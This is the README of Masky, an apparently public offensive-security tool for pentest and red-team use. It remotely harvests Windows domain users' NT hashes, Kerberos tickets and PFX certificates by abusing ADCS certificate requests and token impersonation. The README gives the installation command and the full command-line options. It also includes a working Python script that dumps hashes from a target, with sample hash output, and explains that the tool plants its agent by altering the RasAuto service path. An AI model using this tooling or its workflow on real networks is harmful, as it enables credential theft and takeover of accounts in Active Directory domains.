Masky is a python library providing an alternative way to remotely dump domain users' credentials thanks to an ADCS. A command line tool has been built on top of this library in order to easily gather PFX, NT hashes and TGT on a larger scope.
This tool does not exploit any new vulnerability and does not work by dumping the LSASS process memory. Indeed, it only takes advantage of legitimate Windows and Active Directory features (token impersonation, certificate authentication via kerberos & NT hashes retrieval via PKINIT). A blog post was published to detail the implemented technics and how Masky works.
Masky source code is largely based on the amazing Certify and Certipy tools. I really thanks their authors for the researches regarding offensive exploitation technics against ADCS (see. Acknowledgments section).
Masky python3 library and its associated CLI can be simply installed via the public PyPi repository as following:
pip install masky
The Masky agent executable is already included within the PyPi package.
Moreover, if you need to modify the agent, the C# code can be recompiled via a Visual Studio project located in agent/Masky.sln. It would requires .NET Framework 4 to be built.
Masky has been designed as a Python library. Moreover, a command line interface was created on top of it to ease its usage during pentest or RedTeam activities.
For both usages, you need first to retrieve the FQDN of a CA server and its CA name deployed via an ADCS. This information can be easily retrieved via the certipy find option or via the Microsoft built-in certutil.exe tool. Make sure that the default User template is enabled on the targeted CA.
Warning: Masky deploys an executable on each target via a modification of the existing RasAuto service. Despite the automated roll-back of its intial ImagePath value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.
The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.
Masky also provides options that are commonly provided by such tools (thread number, authentication mode, targets loaded from files, etc. ).
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v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
Below is a simple script using the Masky library to collect secrets of running domain user sessions from a remote target.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()Its execution generate the following output.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
A MaskyResults object containing a list of User objects is returned after a successful execution of Masky.
Please look at the masky\lib\results.py module to check the methods and attributes provided by these two classes.
From the Masky version 0.0.5, the standalone executable agent can now easily be ran without the Python CLI.
Here are the arguments:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
The /ca parameter is mandatory as for the Python CLI. Moreover, the /currentUser argument has been added to avoir running token impersonation. Indeed, a simple certificate request will be performed in the current user context, based on the provided template (template). The /output and /debug parameters allow to specify the path where will be created the files.
The default values are the following:
- currentUser: false (aka. impersonation is enabled);
- template: User;
- output: ./Masky_results.txt
- debug: ./Masky_debug.txt
- Olivier Lyak for the Certipy tool and the associated articles
- Will Schroeder and Lee Christensen for the Certify tool and the Certified Pre-Owned article
- Dirk-jan for the PKINITtools and its ADCS NTLM relay article
- SecureAuthCorp and the associated contributors for the Impacket library
- Pixis for the tool Lsassy
- Incognito tool and its Metasploit implementation
- S3cur3Th1sSh1t for the tool SharpImpersonation and the associated article
- McAfee for their article regarding the token impersonation techniques